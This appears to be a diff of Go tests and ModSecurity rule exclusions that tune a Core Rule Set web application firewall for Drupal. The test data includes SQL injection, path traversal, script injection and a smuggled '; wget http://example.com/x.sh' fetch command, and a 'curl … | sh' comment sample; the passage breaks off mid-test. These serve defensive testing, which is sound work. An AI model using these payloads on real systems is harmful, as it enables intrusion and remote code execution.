{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
||||
} {
|
||||
fits := padded(tc.head, tc.tail, bodyLimit)
|
||||
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
||||
|
||||
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
||||
wantBody(t, crs, post(tc.header), larger, coreruleset.Result{}, larger)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOtherBodiesAreNotRead(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// Read as form data, which the Core Rule Set does with a body of a type
|
||||
// it does not know, this would be an SQL injection.
|
||||
body := "q=" + url.QueryEscape(injection)
|
||||
|
||||
for _, header := range []string{
|
||||
"Content-Type: application/octet-stream",
|
||||
"Content-Type: text/plain",
|
||||
"Content-Type: application/x-git-receive-pack-request",
|
||||
} {
|
||||
wantBody(t, crs, post(header), body, coreruleset.Result{}, "")
|
||||
}
|
||||
}
|
||||
|
||||
func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const gzip = "Content-Encoding: gzip"
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, tc := range []struct{ header, body string }{
|
||||
{formData, "a=1"},
|
||||
{multipart, field("a", "1") + end},
|
||||
{jsonBody, `{"a":1}`},
|
||||
{xmlBody, "<a>1</a>"},
|
||||
} {
|
||||
wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body)
|
||||
}
|
||||
|
||||
// Whatever its size: a JSON body larger than the limit is not read, but
|
||||
// Content-Encoding on it is refused all the same.
|
||||
larger := strings.Repeat("a", bodyLimit+1)
|
||||
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
||||
|
||||
// It is allowed on a body of any other kind, and on every body while no
|
||||
// body is read.
|
||||
fetch := "Content-Type: application/x-git-upload-pack-request"
|
||||
wantBody(t, crs, post(fetch, gzip), "a", coreruleset.Result{}, "")
|
||||
wantBody(t, atDefaults(t), post(formData, gzip), "a", coreruleset.Result{}, "")
|
||||
}
|
||||
|
||||
func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
local := url.QueryEscape("http://127.0.0.1:52341/")
|
||||
|
||||
for _, tc := range []struct {
|
||||
body string
|
||||
want coreruleset.Result
|
||||
}{
|
||||
{"path=.gitignore", coreruleset.Result{}},
|
||||
{"q=.gitignore", matched(930120)},
|
||||
{"redirect_uri=" + local, coreruleset.Result{}},
|
||||
{"next=" + local, matched(931100, 934110)},
|
||||
} {
|
||||
wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
|
||||
}
|
||||
|
||||
body := field("path", ".gitignore") + end
|
||||
wantBody(t, crs, post(multipart), body, coreruleset.Result{}, body)
|
||||
|
||||
body = field("q", ".gitignore") + end
|
||||
wantBody(t, crs, post(multipart), body, matched(930120), body)
|
||||
|
||||
// A JSON body's field is named by its path, here json.path, and is
|
||||
// checked.
|
||||
body = `{"path":".gitignore"}`
|
||||
wantBody(t, crs, post(jsonBody), body, matched(930120), body)
|
||||
}
|
||||
|
||||
func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// A comment that shows a shell command.
|
||||
const text = "Try `curl -s https://example.org | sh` first."
|
||||
|
||||
comment := "content=" + url.QueryEscape(text)
|
||||
wantBody(t, crs, post(formData), comment, matched(932235), comment)
|
||||
|
||||
// An attachment named like a log file.
|
||||
attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
||||
"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
|
||||
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
|
||||
}
|
||||
|
||||
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, tc := range []struct{ contentType, body string }{
|
||||
{"application/atom+xml", "<q>" + injection + "</q>"},
|
||||
{"application/vnd.example+xml", "<q>" + injection + "</q>"},
|
||||
{"application/vnd.example+json", `{"q":"` + injection + `"}`},
|
||||
{"text/json", `{"q":"` + injection + `"}`},
|
||||
} {
|
||||
wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
|
||||
matched(942100), tc.body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// An end tag after the root element, past which Coraza reads none of
|
||||
// the body, while an app may still read the attack before it.
|
||||
body := "<q>" + injection + "</q></r>"
|
||||
wantBody(t, crs, post(xmlBody), body, matched(900440), body)
|
||||
|
||||
// The multipart bodies Coraza cannot parse fail its strict checks too:
|
||||
// one whose type names its boundary twice, and one with a part header
|
||||
// that has no colon, before the attack. They do so padded past the
|
||||
// limit too, which cuts them in the padding.
|
||||
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
||||
pad := field("pad", strings.Repeat("a", bodyLimit))
|
||||
|
||||
for _, tc := range []struct{ header, head string }{
|
||||
{multipart + "; boundary=c", ""},
|
||||
{multipart, noColon},
|
||||
} {
|
||||
body = tc.head + field("q", injection) + end
|
||||
wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body)
|
||||
|
||||
body = tc.head + field("q", injection) + pad + end
|
||||
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
||||
body[:bodyLimit+1])
|
||||
}
|
||||
}
|
||||
|
||||
func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The limit falls in the middle of the name of the second part's
|
||||
// header, which Coraza, reading up to the limit, cannot tell from a
|
||||
// header without a colon.
|
||||
cut := "--b\r\nContent-Di"
|
||||
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)))
|
||||
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
||||
|
||||
wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450),
|
||||
body[:bodyLimit+1])
|
||||
}
|
||||
|
||||
func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"
|
||||
|
||||
// The limit falls between the carriage return and the line feed that
|
||||
// end the second part's header line, and then between those that end
|
||||
// the empty line after it. Coraza, reading up to the limit, takes the
|
||||
// line ending in a lone carriage return for a malformed header.
|
||||
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
||||
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut))
|
||||
body := first + field("q", "1") + end
|
||||
|
||||
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
||||
body[:bodyLimit+1])
|
||||
}
|
||||
}
|
||||
|
||||
// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
|
||||
// system's temporary directory, for the whole test process.
|
||||
func TestCorazaWritesNoFile(t *testing.T) {
|
||||
// The system's temporary directory is one that does not exist, so that
|
||||
// Coraza could write nothing there: built without no_fs_access, it
|
||||
// refuses to load, and could not write a file of a multipart body.
|
||||
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
|
||||
|
||||
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
||||
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
|
||||
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
|
||||
wantBody(t, readingBodies(t), post(multipart), body, matched(942100), body)
|
||||
}
|
||||
|
||||
func TestBodyLimitOf1GLoads(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := coreruleset.New(coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
|
||||
if err != nil {
|
||||
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -1,149 +0,0 @@
|
||||
# The ninth change: on Drupal's paths, some fields skip the rules that refused
|
||||
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
||||
# search, a name, a file name or an address. Each exclusion runs with the
|
||||
# request, before the rules it switches off, so this file is loaded before the
|
||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||
# exclusion on a field of a body applies only when the query has no parameter
|
||||
# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set.
|
||||
#
|
||||
# Four rules read a search or a name as a command or a system file. Each query
|
||||
# exclusion below removes these four, and only these, from its fields:
|
||||
# 930120: .htaccess
|
||||
# 932120: powershell
|
||||
# 932250: ls -la
|
||||
# 932260: python3
|
||||
# Two more misfire on destination, the address of a page of results, so
|
||||
# destination alone skips them:
|
||||
# 932230: ls -la
|
||||
# 932235: python3
|
||||
|
||||
# Every admin page's filters and autocompletes, and the page to return to:
|
||||
# title: /admin/content?title=python3
|
||||
# name: /admin/content/media?name=python3
|
||||
# user: /admin/people?user=python3
|
||||
# filename, filemime: /admin/content/files?filename=python3
|
||||
# info: /admin/content/block?info=python3
|
||||
# subject, author_name: /admin/content/comment?subject=python3
|
||||
# search: /admin/config/search/path?search=python3
|
||||
# q: /admin/views/ajax/autocomplete/tag?q=python3
|
||||
# destination: /admin/content?destination=/admin/content%3Ftitle%3Dpython3
|
||||
SecRule REQUEST_FILENAME "@rx ^/admin(?:/|$)" \
|
||||
"id:900800,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:destination,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:destination,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/"
|
||||
|
||||
# The page to return to, on the other pages Drupal links to with one, such as
|
||||
# /node/1/edit?destination=/search/node%3Fkeys%3Dpython3 and
|
||||
# /user/login?destination=/search/node%3Fkeys%3Dpython3.
|
||||
SecRule REQUEST_FILENAME \
|
||||
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/[a-z]+)|comment/[0-9]+/[a-z]+|media/(?:add/[^/]+|[0-9]+/[a-z]+)|taxonomy/term/[0-9]+/[a-z]+|user/[^/]+(?:/[a-z]+)?)$" \
|
||||
"id:900801,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:destination,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:destination,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:destination,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:destination,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:destination,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:destination"
|
||||
|
||||
# The text searched for on the search pages: /search/node?keys=python3.
|
||||
SecRule REQUEST_FILENAME "@rx ^/search(?:/|$)" \
|
||||
"id:900802,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:keys,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:keys,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:keys,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:keys"
|
||||
|
||||
# What is typed into a field that autocompletes a tag or a user:
|
||||
# /entity_reference_autocomplete/taxonomy_term/default/KEY?q=python3.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /entity_reference_autocomplete/" \
|
||||
"id:900803,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||
|
||||
# The values a JSON:API client filters by, in fields named after what they
|
||||
# filter: /jsonapi/node/article?filter[title]=python3 and
|
||||
# filter[f][condition][value]=python3.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /jsonapi/" \
|
||||
"id:900804,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^filter\[/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^filter\[/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^filter\[/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^filter\[/"
|
||||
|
||||
# The fields below are in bodies. Saving content sends its title, summary, tags,
|
||||
# address, revision note, comment subject, media name and image text, which
|
||||
# skip the same four rules there. A title such as "python3, ls -la and .htaccess"
|
||||
# refused saving a node.
|
||||
SecRule REQUEST_FILENAME \
|
||||
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit)|media/(?:add/[^/]+|[0-9]+/edit))$" \
|
||||
"id:900810,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:title|subject|name|body|revision_log|path|field_tags|field_)/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/"
|
||||
|
||||
# The rich text editor sends HTML in body and comment_body. Each of these rules
|
||||
# refused saving a node or a comment whose HTML held an image and a code block
|
||||
# with a shell script, an SQL query and JavaScript, so they skip those fields:
|
||||
# 930120, 932120, 932125, 932140, 932160, 932230, 932235, 932250, 932260,
|
||||
# 934100, 941160, 941390, 942170 and 942230.
|
||||
SecRule REQUEST_FILENAME \
|
||||
"@rx ^/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit))$" \
|
||||
"id:900811,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:comment_)?body\[/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932140;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=941390;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=942170;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:comment_)?body\[0\]\[value\]$/"
|
||||
|
||||
# A JSON:API client saving a node or a comment sends the same HTML in the
|
||||
# JSON field body.value or comment_body.value, which skips the rules above. A
|
||||
# title, summary or subject beside it skips 930120, 932120, 932250 and 932260.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /jsonapi/" \
|
||||
"id:900812,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.data\.attributes\./ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.data\.attributes\.(?:title|subject|body\.summary|(?:comment_)?body\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=932140;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=934100;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=941390;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=942170;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/"
|
||||
|
||||
# Signing in, in pass or the JSON field pass, where a password holds any
|
||||
# characters:
|
||||
# 930120: a password ending in /etc/hosts
|
||||
# 932120: a password of powershell
|
||||
# 932250: a password of ls -la
|
||||
# 932260: a password starting with python3
|
||||
SecRule REQUEST_FILENAME "@streq /user/login" \
|
||||
"id:900813,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/"
|
||||
@@ -1,334 +0,0 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// drupalRequest is a line of testdata/drupal-requests.txt.
|
||||
type drupalRequest struct {
|
||||
Method string `json:"method"`
|
||||
Target string `json:"target"`
|
||||
Headers []string `json:"headers"`
|
||||
Body string `json:"body"`
|
||||
}
|
||||
|
||||
// drupalRequests returns the recorded ordinary Drupal requests.
|
||||
func drupalRequests(t *testing.T) []drupalRequest {
|
||||
t.Helper()
|
||||
|
||||
text, err := os.ReadFile(filepath.Join("testdata", "drupal-requests.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []drupalRequest
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
if strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
var r drupalRequest
|
||||
|
||||
err := json.Unmarshal([]byte(line), &r)
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", line, err)
|
||||
}
|
||||
|
||||
requests = append(requests, r)
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const drupalThreshold = 5
|
||||
|
||||
// drupalAddArticle is Drupal's form for a new article.
|
||||
const drupalAddArticle = "/node/add/article"
|
||||
|
||||
// drupalSignIn is Drupal's sign-in page.
|
||||
const drupalSignIn = "/user/login"
|
||||
|
||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
for _, recorded := range drupalRequests(t) {
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
|
||||
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||
}
|
||||
|
||||
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
||||
r.method, r.target, recorded.Body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// drupalAttacks are an SQL injection, a path traversal and a script
|
||||
// injection, as a query value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var drupalAttacks = []string{
|
||||
"1'%20OR%20'1'='1",
|
||||
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
|
||||
"%3Cscript%3Ealert(1)%3C%2Fscript%3E",
|
||||
}
|
||||
|
||||
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, attack := range drupalAttacks {
|
||||
for _, target := range []string{
|
||||
"/?id=",
|
||||
"/admin/content?id=",
|
||||
"/admin/content?title=",
|
||||
"/admin/content/media?name=",
|
||||
"/admin/people?user=",
|
||||
"/admin/content/files?filename=",
|
||||
"/admin/content/files?filemime=",
|
||||
"/admin/content/block?info=",
|
||||
"/admin/content/comment?subject=",
|
||||
"/admin/content/comment?author_name=",
|
||||
"/admin/config/search/path?search=",
|
||||
"/admin/content?destination=",
|
||||
"/admin/foo?q=",
|
||||
"/node/1/edit?destination=",
|
||||
"/user/login?destination=",
|
||||
"/search/node?keys=",
|
||||
"/search?keys=",
|
||||
"/entity_reference_autocomplete/user/default/KEY?q=",
|
||||
"/jsonapi/node/article?filter%5Btitle%5D=",
|
||||
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
|
||||
} {
|
||||
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
|
||||
t.Errorf("%s%s let through: %+v", target, attack, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
const reply = "/comment/reply/node/1/comment"
|
||||
|
||||
for _, attack := range drupalAttacks {
|
||||
for _, sent := range []struct{ target, body string }{
|
||||
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
|
||||
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{drupalSignIn, "pass=" + attack},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, attack := range []string{
|
||||
`1' OR '1'='1`,
|
||||
`<script>alert(1)</script>`,
|
||||
} {
|
||||
for _, field := range []string{
|
||||
`"title":"` + attack + `"`,
|
||||
`"body":{"value":"` + attack + `"}`,
|
||||
} {
|
||||
r := request{
|
||||
http.MethodPost, "/jsonapi/node/article",
|
||||
[]string{"Content-Type: application/vnd.api+json"},
|
||||
}
|
||||
body := `{"data":{"attributes":{` + field + `}}}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
||||
// on the fields that skip the other command rules, as a query value.
|
||||
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||
|
||||
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, target := range []string{
|
||||
"/admin/content?title=",
|
||||
"/admin/content/media?name=",
|
||||
"/admin/people?user=",
|
||||
"/admin/content/files?filename=",
|
||||
"/admin/content/files?filemime=",
|
||||
"/admin/content/block?info=",
|
||||
"/admin/content/comment?subject=",
|
||||
"/admin/content/comment?author_name=",
|
||||
"/admin/config/search/path?search=",
|
||||
"/admin/views/ajax/autocomplete/tag?q=",
|
||||
"/search/node?keys=",
|
||||
"/entity_reference_autocomplete/user/default/KEY?q=",
|
||||
"/jsonapi/node/article?filter%5Btitle%5D=",
|
||||
} {
|
||||
got := inspect(t, crs, get(target+drupalCommandAttack))
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
crs = readingBodies(t)
|
||||
|
||||
for _, field := range []string{
|
||||
"title%5B0%5D%5Bvalue%5D=",
|
||||
"body%5B0%5D%5Bsummary%5D=",
|
||||
"revision_log%5B0%5D%5Bvalue%5D=",
|
||||
"path%5B0%5D%5Balias%5D=",
|
||||
"field_tags%5Btarget_id%5D=",
|
||||
"field_image%5B0%5D%5Balt%5D=",
|
||||
} {
|
||||
r := request{http.MethodPost, drupalAddArticle, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, field+drupalCommandAttack)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, field, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, field := range []string{
|
||||
`"title":"; wget http://example.com/x.sh"`,
|
||||
`"subject":"; wget http://example.com/x.sh"`,
|
||||
`"body":{"summary":"; wget http://example.com/x.sh"}`,
|
||||
} {
|
||||
r := request{
|
||||
http.MethodPost, "/jsonapi/node/article",
|
||||
[]string{"Content-Type: application/vnd.api+json"},
|
||||
}
|
||||
body := `{"data":{"attributes":{` + field + `}}}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// drupalHardValues are the words that name commands and files, as a form
|
||||
// value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var drupalHardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||
|
||||
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
const subject = "subject%5B0%5D%5Bvalue%5D="
|
||||
|
||||
for _, value := range drupalHardValues {
|
||||
for _, sent := range []struct{ target, field string }{
|
||||
{"/comment/reply/node/1/comment", subject},
|
||||
{"/comment/reply/node/1/comment/5", subject},
|
||||
{"/comment/reply/node/1/field_comments", subject},
|
||||
{"/comment/reply/media/1/comment", subject},
|
||||
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
||||
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
||||
{drupalSignIn, "pass="},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, value := range []string{"python3", "powershell", "ls -la", ".htaccess"} {
|
||||
r := request{
|
||||
http.MethodPost, "/user/login?_format=json",
|
||||
